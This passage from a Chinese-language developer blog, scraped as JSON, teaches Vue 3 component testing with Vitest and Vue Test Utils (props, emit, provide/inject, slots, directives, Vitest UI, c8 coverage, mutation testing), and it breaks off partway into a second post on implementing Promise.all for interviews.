測試程式碼 */ const wrapper = monut(component) wrapper.vm.content = \u0026#39;text\u0026#39; // 版本1: 直接使用 vm 內的 $nextTick await wrapper.vm.$nextTick() // 版本2: 使用 vue 的 nextTick // import { nextTick } from \u0026#39;vue\u0026#39; // await nextTick() expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;test\u0026#39;) }) 而關於私有方法或變數的模擬，或許將來 Vue Test Utils 開發團隊會對此有些改觀提供一些逃生艙的方法，不過目前比較一致的角度是盡量別對這一類的私有環境才有的變數與方法去做模擬，即時的相關討論可見於這裡。\nprops 在不模擬私有情境的前提之下，prop 相較起來單純多了，而關於測試 props 的部分主要有：\n模擬 props 傳入後，斷言「後續的狀態」。 斷言「是否傳入對的參數給子元件」。 模擬 props 傳入 要模擬 props 傳入的方法依照時機可分為「初始狀態」與「後續操作」：\n1 2 3 \u0026lt;template\u0026gt; \u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;{{ content }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 初始狀態同樣是藉由容器（Wrapper）中的第二個參數傳入：\n1 2 3 4 5 6 7 8 it(\u0026#39;\u0026#39;, () =\u0026gt; { const wrapper = mount(component, { props: { content: \u0026#39;Hello\u0026#39; } }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;Hello\u0026#39;) }) 若想要後續才傳入 props 則可以透過容器方法 setProps 模擬，並且一樣要小心非同步的問題，記得補上 async / await ：\n1 2 3 4 5 6 7 8 9 10 it(\u0026#39;...\u0026#39;, async () =\u0026gt; { const wrapper = mount(component, { props: { content: \u0026#39;Hello\u0026#39; } }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;Hello\u0026#39;) await wrapper.setProps({ content: \u0026#39;Good bye\u0026#39; }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;Good bye\u0026#39;) }) 斷言是否傳入對 props 參數給子元件 既然有接收的一方，那就至少會有給予的一方。\n在 props 驗證中的另一種方式就是驗證給予其他元件的參數是否正確：\n1 2 3 \u0026lt;template\u0026gt; \u0026lt;BaseLightbox content\u0026#34;Hello\u0026#34; enableMask=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;/template\u0026gt; 首先我們要做的是透過之前學的選擇器方法選到特定的元件，接著透過容器方法底下的 props() 來取的傳送資訊，接著就可以透過斷言 Matcher 來比對 props 給元件的資訊是否正確：\n1 2 3 4 5 6 7 8 9 10 11 12 import { BaseLightbox } from \u0026#39;./BaseLightbox.vue\u0026#39; it(\u0026#39;\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) const target = wrapper.get(BaseLightbox) expect(target.props(content)).toEqual(\u0026#39;Hello\u0026#39;) expect(target.props(enableMask)).toEqual(true) expect(target.props()).toEqual({ content: \u0026#39;Hello\u0026#39;, enableMask: true, }) }) emit 在斷言中我們要測試 emit 主要是試圖捕獲元件所發生的事件，並斷言事件與值是否如我們所預期，而這時可以透過容器方法中的 emitted() 來取得事件發送所有的紀錄。\n而 emitted 中所紀錄的格式如下：\n1 2 3 4 5 6 7 { \u0026#39;事件名稱\u0026#39;: [ [/* 第一次發送的值 */], [/* 第二次發送的值 */], [/* 第 n 次發送的值 */] ] } 因此假設我們有一個 pagination 元件如下所示：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;div data-test=\u0026#34;first\u0026#34; @click=\u0026#34;$emit(\u0026#39;changePage\u0026#39;, \u0026#39;first\u0026#39;)\u0026#34;\u0026gt; 第一頁 \u0026lt;/div\u0026gt; \u0026lt;div data-test=\u0026#34;prev\u0026#34; @click=\u0026#34;$emit(\u0026#39;changePage\u0026#39;, \u0026#39;prev\u0026#39;)\u0026#34;\u0026gt; 上一頁 \u0026lt;/div\u0026gt; \u0026lt;div data-test=\u0026#34;next\u0026#34; @click=\u0026#34;$emit(\u0026#39;changePage\u0026#39;, \u0026#39;next\u0026#39;)\u0026#34;\u0026gt; 下一頁 \u0026lt;/div\u0026gt; \u0026lt;div data-test=\u0026#34;last\u0026#34; @click=\u0026#34;$emit(\u0026#39;changePage\u0026#39;, \u0026#39;last\u0026#39;)\u0026#34;\u0026gt; 最後一頁 \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 在斷言的時候我們可以透過下列方式檢查是否發送對應的 emit 事件：\n透過 toHaveProperty 確認 emitted 屬性確認是否發送「預期事件名稱」 透過 emitted().事件名稱 確認該事件名稱「發生次數」 透過 emitted().事件名稱[index] 確認該事件名稱，第幾次送出的「值」 1 2 3 4 5 6 7 8 9 it(\u0026#39;...\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component) await wrapper.find(\u0026#39;[data-test=\u0026#34;first\u0026#34;]\u0026#39;).trigger(\u0026#39;click\u0026#39;) expect(wrapper.emitted()).toHaveProperty(\u0026#39;changePage\u0026#39;) expect(wrapper.emitted().changePage).toHaveLength(1) expect(wrapper.emitted().changePage[0]).toEqual([\u0026#39;first\u0026#39;]) }) provide 對於有使用到 provide 的元件來說，我們需要確保他提供預期的 inject 內容，因此我們要建立一個用來接收 provide 的元件，接著才能透過斷言來測試傳遞的內容是否如預期。\n接下來我們以這個元件為例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ChildComponent /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ref, provide, readonly } from \u0026#39;vue\u0026#39; export default { setup() { const count = ref(1) provide(\u0026#39;count\u0026#39;, readonly(count)) }, } \u0026lt;/script\u0026gt; 然而我們為了讓測試案例保持獨立性，因此我們要透過造假的元件來測試 inject 所接收到的是否如預期。\n透過元件容器中的 global.stubs 模擬假元件 透過元件容器（Wrapper）中的第二個參數 global.stubs 我們可以將子元件渲染成我們想要的樣子，而模擬的方式一共分為兩種：\n渲染成 \u0026lt;-stub\u0026gt; 元件 當 global.stub[目標元件名稱] 為 true 時：\n1 2 3 4 5 6 7 const wrapper = mount(TargetComponent, { global: { stubs: { ChildComponent: true, }, }, }) 我們的目標元件將會被渲染為帶有 -stub 後綴的元素：\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ChildComponent /\u0026gt; \u0026lt;!-- 會變成 \u0026lt;child-component-stub\u0026gt;\u0026lt;/child-component-stub\u0026gt; --\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 然而這對於我們要測試 provide 來說沒有幫助，因為他沒有辦法接收 inject 資訊，因此我們要採用下面第二種方法。\n渲染成特定元件 要渲染成特定元件的方式，就是先製作一個假元件，接著再提供給 global.stubs 來當作原先應該要渲染的元件。\n首先，我們可以透過 Vue 提供的 defineComponent 建造元件：\n1 2 3 4 5 6 7 8 9 import { defineComponent } from \u0026#39;vue\u0026#39; const TestComponent = defineComponent({ template: \u0026#39;\u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;{{ count }}\u0026lt;/p\u0026gt;\u0026#39;, setup() { const value = inject(\u0026#39;count\u0026#39;) return { value } }, }) 接著在測試案例就可以透過 global.stubs 中直接使用這個測試元件：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import { defineComponent } from \u0026#39;vue\u0026#39; const TestComponent = defineComponent({ template: \u0026#39;\u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;{{ count }}\u0026lt;/p\u0026gt;\u0026#39;, setup() { const value = inject(\u0026#39;count\u0026#39;) return { value } }, }) it(\u0026#39;...\u0026#39; , () =\u0026gt; { const wrapper = mount(TargetComponent, { global: { stubs: { ChildComponent: TestComponent, }, }, }) }) 如此一來元件 ChildComponent 在測試案例中的渲染結果將變成我們指定的樣子。\n1 2 3 \u0026lt;div\u0026gt; \u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;1\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; 因此我們現在就可以斷言 provide 提供的內容是否正確了：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const TestComponent = defineComponent({ template: \u0026#39;\u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;{{ count }}\u0026lt;/p\u0026gt;\u0026#39;, setup() { const count = inject(\u0026#39;count\u0026#39;) return { count } }, }) it(\u0026#39;...\u0026#39;, async () =\u0026gt; { const wrapper = mount(TargetComponent, { global: { stubs: { ChildComponent: TestComponent, }, }, }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;1\u0026#39;) }) inject 對於有使用到 inject 的元件來說，我們在意的是提供 provide 特定的值之後，畫面上渲染的結果是否正確。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;div data-test=\u0026#34;target\u0026#34;\u0026gt;{{ count }}\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { inject } from \u0026#39;vue\u0026#39; export default { setup() { const count = inject(\u0026#39;count\u0026#39;) return { count } }, } \u0026lt;/script\u0026gt; 此時我們可以透過元件容器（Wrapper）中的第二個參數 global 來指定要提供的 provide 值：\n1 2 3 4 5 6 7 const wrapper = mount(TargetComponent, { global: { provide: { count: 1, }, }, }) 最後我們就可以直接斷言渲染的結果是否如預期：\n1 2 3 4 5 6 7 8 9 10 11 it(\u0026#39;should be render correct content after providing count\u0026#39;, async () =\u0026gt; { const wrapper = mount(TargetComponent, { global: { provide: { count: 1, }, }, }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;1\u0026#39;) }) slots 而在針對 slots 撰寫測試時，要注意的地方有：\nslots 至少會有預設未傳入的狀態與傳入資料後的狀態兩種，斷言時應該至少包含這兩種狀態。 以 slots 行為作為案例斷言時，斷言內容要專注在 slots 所影響範圍內，否則可能會受其他因素干擾。 預設插槽（Default slots） 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 要針對最基本的預設插槽做斷言時，我們可以透過容器中第二個參數帶入 slots 欄位來模擬帶入內容並透過 default 屬性傳入指定的範圍內。\n未傳入測試案例：\n1 2 3 4 it(\u0026#39;default slot\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component) expect(wrapper.html()).toMatchInlineSnapshot() }) 傳入時測試案例：\n1 2 3 4 5 6 7 8 9 it(\u0026#39;default slot\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component, { slots: { default: \u0026#39;Slot Content\u0026#39;, }, }) expect(wrapper.html()).toContain(\u0026#39;Slot Content\u0026#39;) }) 具名插槽（Named slots） 1 2 3 4 5 6 7 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;slot name=\u0026#34;header\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;slot name=\u0026#34;body\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;slot name=\u0026#34;footer\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 若在插槽的型態為具名插槽，在撰寫測試案例時的容器選項 slots 就可以依據插槽名稱 name 指定要傳入的內容。\n未傳入測試案例：\n1 2 3 4 it(\u0026#39;named slot\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component) expect(wrapper.html()).toMatchInlineSnapshot() }) 傳入時測試案例：\n1 2 3 4 5 6 7 8 9 10 11 it(\u0026#39;named slot\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component, { slots: { header: \u0026#39;ithelp 2022 鐵人賽\u0026#39;, body: \u0026#39;vue3 單元測試\u0026#39;, footer: \u0026#39;by Shawn\u0026#39;, }, }) expect(wrapper.html()).toMatchInlineSnapshot() }) 作用域插槽（Scoped slots） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt;貓咪咖啡廳：\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;店長：Shawn\u0026lt;/p\u0026gt; \u0026lt;slot :staffInfo=\u0026#34;staffInfo\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const staffInfo = { \u0026#39;black-cat\u0026#39;: { name: \u0026#39;黑黑\u0026#39;, \u0026#39;signature-dish\u0026#39;: \u0026#39;拿鐵\u0026#39;, }, \u0026#39;orange-cat\u0026#39;: { name: \u0026#39;阿橘\u0026#39;, \u0026#39;signature-dish\u0026#39;: \u0026#39;焦糖瑪奇朵\u0026#39;, }, } \u0026lt;/script\u0026gt; 有時候我們可能想要給予更高度的彈性，使元件透過 \u0026lt;slot\u0026gt; 傳遞資料給父層時，這時候就會用到作用域插槽。\n未傳入測試案例：\n1 2 3 4 5 6 7 8 9 it(\u0026#39;scoped slots\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component) expect(wrapper.html()).toMatchInlineSnapshot(` \u0026#34;\u0026lt;div\u0026gt; \u0026lt;p\u0026gt;貓咪咖啡廳：\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;店長：Shawn\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt;\u0026#34; `) }) 傳入時測試案例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 it(\u0026#39;scoped slots\u0026#39;, async () =\u0026gt; { const wrapper = mount(Component, { slots: { default: ` \u0026lt;template #staffInfo\u0026gt; \u0026lt;p\u0026gt;店員：{{ staffInfo[\u0026#39;orange-cat\u0026#39;][\u0026#39;name\u0026#39;] }}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;限定項目：{{ staffInfo[\u0026#39;black-cat\u0026#39;][\u0026#39;signature-dish\u0026#39;] }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; `, }, }) expect(wrapper.html()).toMatchInlineSnapshot(` \u0026#34;\u0026lt;div\u0026gt; \u0026lt;p\u0026gt;貓咪咖啡廳：\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;店長：Shawn\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;店員：阿橘\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;限定項目：拿鐵\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt;\u0026#34; `) }) 插槽載入選項（Mounting options） 若想在測試案例中用不同的方式來模擬 slots，可以透過下面四種語法：\n傳入 SFC 檔案 render function 包含 template 屬性的物件 直接傳入一個字串 1 2 3 4 5 6 7 8 9 10 11 it(\u0026#39;should render same layout\u0026#39;, () =\u0026gt; { const wrapper = mount(Layout, { slots: { default: Component // default: h(\u0026#39;div\u0026#39;, \u0026#39;相同內容\u0026#39;), // default: { template: \u0026#39;\u0026lt;div\u0026gt;相同內容\u0026lt;/div\u0026gt;\u0026#39; }, // default: \u0026#39;\u0026lt;div\u0026gt;相同內容\u0026lt;/div\u0026gt;\u0026#39;, } }) expect(wrapper.html()).toContain(\u0026#39;\u0026lt;div\u0026gt;相同內容\u0026lt;/div\u0026gt;\u0026#39;) }) custom directives 客製化指令本身搭配了類似元件生命週期的 Hooks，而我們可以在那些 Hook 中任意對我們所綁定的元素做開發，讓繁複的邏輯透過簡單的指令就能夠重複利用，使我們在開發過程中的開發者體驗（Developer experience, DX）有非常良好的體驗。\n但相對的來說，要測試客製化指令就有機會運用到各種我們至今學過的許多技巧來斷言，從而使難度大大提升，但我們只要熟悉之前的模擬技巧後，最後只需要關注的一個地方就是，預期指令放入後應達成什麼目標，接著再去尋找要從什麼角度或可取得的資訊去比對來作為我們斷言的內容即可。\n而接下來我們以一個 v-foucs 的客製化指令來介紹如何斷言客製化指令與尋找比對資訊：\n1 2 3 const vFocus = { mounted: (el) =\u0026gt; el.focus(), } 註冊指令 首先，要進行斷言我們可以透過容器中第二個參數的 global.directives 來註冊我們的客製化指令：\n1 2 3 4 5 6 7 const wrapper = mount(..., { global: { directives: { Focus: vFocus, // 屬性匹配的名稱規則 Abc 會 match 到 v-abc }, }, }) 仿造元件並放入指令 接著我們要使用到仿造元件的技巧，讓容器一開始就載入一個假的元件，並且放入指令與 data-test 屬性供捕獲：\n1 2 3 4 5 6 7 8 9 10 const Component = { template: \u0026#39;\u0026lt;input v-focus data-test=\u0026#34;target\u0026#34; type=\u0026#34;text\u0026#34;/\u0026gt;\u0026#39;, } const wrapper = mount(..., { global: { directives: { Focus: vFocus, }, }, }) 尋找比對目標 再來，由於目標是為了驗證是否該元素為瀏覽器中的 focus 元素，因此要利用到瀏覽器物件 Document 中的 activeElement 屬性，若有被聚焦的情況下那應該要能夠比對到同個元素。（由 jsdom 提供模擬的瀏覽器環境）\n斷言 最後在斷言的部分，為了取得目標元素，我們可以透過 wrapper.find().element 取得目標的元素實體，最後就可以拿他與 document.activeElement 做比對：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 it(\u0026#39;v-focus\u0026#39;, async () =\u0026gt; { const Component = { template: \u0026#39;\u0026lt;input v-focus data-test=\u0026#34;target\u0026#34; type=\u0026#34;text\u0026#34;/\u0026gt;\u0026#39;, } const wrapper = mount(Component, { attachTo: document.body, global: { directives: { Focus: vFocus, }, }, }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).element).toBe(document.activeElement) }) 如此一來我們就可以確保將來在使用 v-focus 指令時，該元素在 mounted 後會是聚焦的元素。\nVitest UI Vitest UI\nVitest UI 簡單來說，是另一種供我們查看測試與編寫測試的方式，它的特色在於基於 Vite 的 dev server 環境，讓我們可以直接在瀏覽器上直接觀看測試案例的測試結果，甚至支援直接在瀏覽器中編寫測試案例後同步更新測試檔案。\n而在使用這項酷酷的功能之前，我們需要另外安裝 @vitest/ui：\n1 npm i -D @vitest/ui 接著就可以在 package.json 中新增一個 vitest 指令，並帶上參數 --ui：\n1 2 3 4 5 { \u0026#34;scripts\u0026#34;: { \u0026#34;vitest:ui\u0026#34;: \u0026#34;vitest --ui\u0026#34; } } 如此一來後們只要執行 npm run vitest:ui，就可以在啟動這項功能，並看到下列畫面：\n介面 在 Vitest UI 中，左側是所有測試案例的測試結果（Pass / Fail / Skip），我們可以透過上方的搜尋欄輸入檔名或路徑找到我們要觀察的測試。\n點擊左側的測試路徑後，右側會出現測試情境與測試案例的描述讓我們更好觀察當下檔案中的所有案例\n除此之外，再往右側會看到四項資訊，分別為：\nReport（預設顯示項目） Module Graph Console Code Report 點擊 Report 頁籤時，會在右側顯示該測試檔案中的所有測試案例結果。\n若為全通過的情況會顯示 All tests passed in this file：\n若有錯誤會顯示是哪一條測試案例發生錯誤：\n我們甚至能點擊錯誤訊息右方的開啟視窗 Icon，Vitest UI 將會直接啟動系統預設的程式碼編輯器，開啟測試檔案後將輸入游標聚焦在錯誤的行數與位置。（e.g. 圖中的 toEqual Assertion Matcher）\nModule Graph 接著是第二個頁籤的 Module Graph，這頁的內容主要是透過檢測行內引入模組，呈現檔案之間依賴關係。\n點擊圖中的節點可以看到該模組的 Source 檔與經由 Transformed 後的程式碼。\n而這個圖表最大的用處在於，透過可視化的方式呈現出測試程式碼中受測物（SUT）與依賴物（DOC）的依賴狀況。\nConsole Console 頁籤主要是顯示在測試程式碼中的 console.log 資訊，由於與測試結果分離的情況下，相較於在終端機中觀察 Console，這裡會顯示得更加清楚。\nCode 最後壓軸介紹的部分，則是 Code 頁籤，你可能會覺得這有什麼特別的，不就是顯示測試檔案程式碼嗎？\n然而，這裡的測試程式碼除了預覽之外，還能夠直接在瀏覽器中直接編寫並執行測試查看結果，更重要的是寫完的當下按下儲存它還能夠同步調整到實際的程式碼中！\n比方在瀏覽器中的測試程式碼中加個註解，並儲存：\n實際測試程式碼檔案也加上了註解！\n如此一來，我們就可以直接在這個視窗內撰寫我們的測試案例，並且在瀏覽器中即時看到測試結果。\n不過這裡有個小小缺點是，若在專案中有設定 eslint + prettier 的話，在程式編輯器撰寫測試時可以設定儲存當下的自動做格式化，但是瀏覽器中的編輯器環境不同，所以寫測試時會收到格式錯誤的警告，但在不考慮這點的情況下，這個工具是個用來檢視測試結果與依賴關係的好工具。\n程式碼覆蓋率（Code Coverage） 在測試領域中，覆蓋率（Coverage）一詞泛指的是以百分比表示測試程式碼能夠涵蓋多少產品程式碼的範圍，而依據不同的覆蓋率種類，其細微的定義也會有所不同。\n接下來我們以覆蓋率工具庫 c8 來說明覆蓋率的概念與如何透過 c8 在 Vitest 測試環境中檢視當下的測試覆蓋率，最後再來談談有關於覆蓋率的相關議題。\nc8 要在 Vitest 測試環境中使用 c8 產生覆蓋率報告，我們首先需要安裝 @vitest/coverage-c8：\n1 npm i -D @vitest/coverage-c8 接著就可以在 package.json 中新增指令：\n1 2 3 4 5 { \u0026#34;scripts\u0026#34;: { \u0026#34;test:coverage\u0026#34;: \u0026#34;vitest --environment jsdom --coverage\u0026#34; } } 執行 npm run test:coverage 後，預設會在終端機產生出覆蓋率報告：\n而 c8 覆蓋率報告總共有四種類型：\n行數覆蓋率（line coverage）：以行數為單位來計算。 函式覆蓋率（function coverage）：以內部的函式為單位來計算。 分枝覆蓋率（branch coverage）：以每個判斷式為單位來計算。 語句覆蓋率（statement coverage）：以每個語句（statement）為單位計算。 測試程式碼涵蓋多少範圍的產品程式碼，甚至於每行程式碼個被執行了幾次\n並且若有未覆蓋行數的情況， c8 則會在 Uncovered Line 中顯示未涵蓋的行數範圍，如下圖中的 13-17、19-28\n倘若你覺得這種報告形式不方便觀看，或是希望將它製作成文件，則可以在 config.js 檔中設定 coverage.reporter 的形式：\n1 2 3 4 5 6 7 8 // vite.config.js or vitest.config.js export default defineConfig({ test: { coverage: { reporter: [\u0026#39;text\u0026#39;, \u0026#39;json\u0026#39;, \u0026#39;html\u0026#39;], }, }, }) 其中 c8 提供的報告（reporter）選項有以下三種：\ntext： 在終端機中呈現覆蓋率報告。 json： 以 JSON 格式產生覆蓋率報告。 html： 產生一個可互動的 HTML 覆蓋率報告。 其中 HTML 的版本中，我們還可以點擊測試檔案來查看未覆蓋的行數有哪些，相較終端機的版本，我們就不必再拿著行數去對程式碼了：\n覆蓋率目標 而在瞭解怎麼查看覆蓋率報告後，那麼究竟覆蓋率目標要達到多少才是合理呢？\n以 《可測試的 JavaScript》一書作者 Mark Ethan Trostler 提供的答案是單元測試大約要介於 80 % 左右。\n以 Martin Fowler 於 Test Coverage 一文中，則是指出大約會在於 80 至 90 % 附近。\n至於為什麼不是達到百分之百呢？接下來我們來探討有關於覆蓋率相關的議題。\n覆蓋率議題 覆蓋率與付出的心力 雖然以理論上來說盡可能得達到高覆蓋率，測試程式碼將涵蓋的越完全，然而為了追求 100 % 的覆蓋率所要付出的心理將會截然不同。\nJeroen Mols 在 The 100% code coverage problem 一文中的提到了心力付出與覆蓋率的關係表。\n引用自 Jeroen Mols 《The 100% code coverage problem》一文中的圖\n從上圖中可以看見，在覆蓋率從 0 提升至 80% 我們僅需要付出一些心力就可以輕易達成，然而要將 90% 提升至接近 100% 我們則幾乎要投入兩到三倍以上的心力才能完成。\n因此，有些人雖然會認為 100% 的覆蓋率是一個不錯的目標，但是在實際上，我們可能會因為追求 100% 的覆蓋率而付出過多的心力，而導致測試程式碼的品質反而變差。\n覆蓋率 100% 的誤區 在費盡千辛萬苦後，我們終於達到了 100% 覆蓋率的情況了。\n然而，100 % 的覆蓋率僅能代表測試程式碼完整（Complete）的覆蓋了產品程式碼，並非代表測試程式碼的品質達到完美（Perfect），接下來我們用個簡單的例子來說明：\n1 2 3 4 5 const max = (x, y) =\u0026gt; return x test(\u0026#39;max\u0026#39;, () =\u0026gt; { expect(max(2, 1)).toBe(2) }) 在上方案例中，我們可以看見 max 測試案例基本上已經完全覆蓋了 max 函式的實作情況，而我們可以從這個案例中看出兩個問題：\n產品程式碼本身有問題，即便測試程式碼覆蓋了 100% 的情況下，產品程式碼本身仍然是有問題的。 測試程式碼案例與路徑不足，導致覆蓋率為 100% 的情況下，並沒有測出產品程式碼中的問題與邊際案例（edge case）。 因此覆蓋率 100% 充其量只是一個指標，用來告訴我們測試程式碼是否完整的覆蓋了產品程式碼，而非「完全沒有問題」。\n倘若我們想要盡可能避免這種情況的發生，這時我們就可以透過突變測試（Mutation Testing）來協助我們。\n突變測試（mutation testing） 突變測試（Mutation Testing）是一種驗證與改善測試程式碼的測試方法，概念上來說，他會盡可能的抽換產品程式碼中的每個角落，接著依照抽換規則來預期測試程式碼的檢測結果。\n假設我們有個比較函式如下：\n1 const greaterThan = (x, y) =\u0026gt; x \u0026gt; y 而這時我們測試程式碼可能會這麼處理：\n1 2 3 4 5 6 7 8 9 10 it(\u0026#39;should return true if x is greater than y\u0026#39;, () =\u0026gt; { expect(greaterThan(2, 1)).toBe(true) expect(greaterThan(0, -1)).toBe(true) expect(greaterThan(100, 0)).toBe(true) }) it(\u0026#39;should return false if x is less than y\u0026#39;, () =\u0026gt; { expect(greaterThan(1, 2)).toBe(false) expect(greaterThan(-1, 0)).toBe(false) expect(greaterThan(0, 100)).toBe(false) }) 接著突變測試可能會將 greaterThan 函式中的 \u0026gt; 符號替換成 \u0026gt;= 符號，此時理論上來說應該會有測試案例失敗，但是實際上測試程式碼卻沒有檢測到這個問題，那就表示我們的測試程式碼並沒有覆蓋到這個案例。\n此時我們就可以針對這種情況，再補上對應的測試案例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 it(\u0026#39;should return true if x is greater than y\u0026#39;, () =\u0026gt; { expect(greaterThan(2, 1)).toBe(true) expect(greaterThan(0, -1)).toBe(true) expect(greaterThan(100, 0)).toBe(true) }) it(\u0026#39;should return false if x is less than y\u0026#39;, () =\u0026gt; { expect(greaterThan(1, 2)).toBe(false) expect(greaterThan(-1, 0)).toBe(false) expect(greaterThan(0, 100)).toBe(false) }) // 新增案例 it(\u0026#39;should return false if x is equal y\u0026#39;, () =\u0026gt; { expect(greaterThan(1, 1)).toBe(false) }) 接著突變測試再度將 \u0026gt; 符號替換成各種符號（e.g. \u0026lt;=），甚至是將 {} 語句（statement）清空，而諸如此類的手法，就是突變測試的核心概念。\n若想手動置換產品程式碼中的符號，可以從這些方法下手\noperator: +, -, *, / condition: \u0026lt;, \u0026gt;, \u0026lt;=, \u0026gt;=, ==, ===, !=, !== statement: {}, if, else, for, return, throw, try, catch expression: \u0026amp;\u0026amp;, ||, ! 突變測試的工具 雖然說我們可以手動置換產品程式碼中的各種符號，但是這樣的作法會讓我們的工作量變得非常龐大，因此我們可以透過工具來協助我們完成這些工作。\n以前端領域來說，我們可以透過 Stryker Mutator 底下的 stryker-js 工具來完成這些工作。\nStryker Mutator 的概念就是透過替換不同的符號產生出突變的內容，而我們的測試程式碼應該要捕捉到那些不合理的情況，藉此來保證我們的測試案例有一定的穩固性。\n然而，可惜的是 stryker-js 目前僅支援到 Jest 環境，尚未支援 Vitest 的環境，因此我這邊就暫不做介紹了，有興趣者可以追蹤該 issue 目前的最新進度。\n","date":"2022-12-29T00:00:00Z","image":"https://madewithnetworkfra.fra1.digitaloceanspaces.com/spatie-space-production/29079/vitest.jpg","permalink":"https://blog.wayne-project.com/2022-12-29/vitest-unit-test/","title":"闡述單元測試、元件測試，並學習在自己的 Vue3 專案中加入 Vitest！"},{"content":" 參考網站\n前端手寫題是許多面試會考的題型，從最基本上的各類效用函式 (例如 debounce、curry、deepClone 等等)，到常見的 JavaScript 方法 (例如 Promise.all)，都不能只會用，還要會自己手寫出來。\n本篇文章將會節錄常見的手寫題目，並附上解答。除此之外，每一題都有詳細解說，供讀者們參考。\nPromise.all Promise.all() 是什麼？ 要實現這個方法前，我們要先知道它在做什麼。根據 MDN 的定義，Promise.all() 會：\n接收一個內有多個 promises 的 Iterable ，例如 Array、Map、Set。 如果 Iterable 是空的，例如空 Array，則 fulfilled 值會是空的 Array。 如果 Iterable 不是空的，則如果所有的 promises 都 fulfilled，則依序回傳 fulfilled 的值；如果其中有一個 promise 被 rejected，則會馬上 reject。 1 2 3 4 5 6 7 8 9 10 const promise1 = Promise.resolve(3); const promise2 = 42; const promise3 = new Promise((resolve, reject) =\u0026gt; { setTimeout(resolve, 100, \u0026#39;foo\u0026#39;); }); Promise.all([promise1, promise2, promise3]).then((values) =\u0026gt; { console.log(values); }); // expected output: Array [3, 42, \u0026#34;foo\u0026#34;] 如何實現簡單版的 Promise.all() 在實現完整版之前，我們先以一個僅處理 Array 的 Promise.all 為例子，了解如何實現核心概念，往下再進一步探討如何處理 Iterable。我們先直接看程式碼，看看你能了解多少。有不懂的地方也不擔心，下面會透過註解，一行行解釋：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function promiseAll(promises) { if (!Array.isArray(promises)) { return new TypeError(\u0026#39;Arguments must be an array\u0026#39;); } if (promises.length === 0) { return Promise.resolve([]); } const outputs = []; let resolveCounter = 0; return new Promise((resolve, reject) =\u0026gt; { promises.forEach((promise, index) =\u0026gt; { promise .then((value) =\u0026gt; { outputs[index] = value; resolveCounter += 1; if (resolveCounter === promises.length) { resolve(outputs); } }) .catch(reject); }); }); } 讓我們透過以下程式碼與註解來看如何實現吧：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 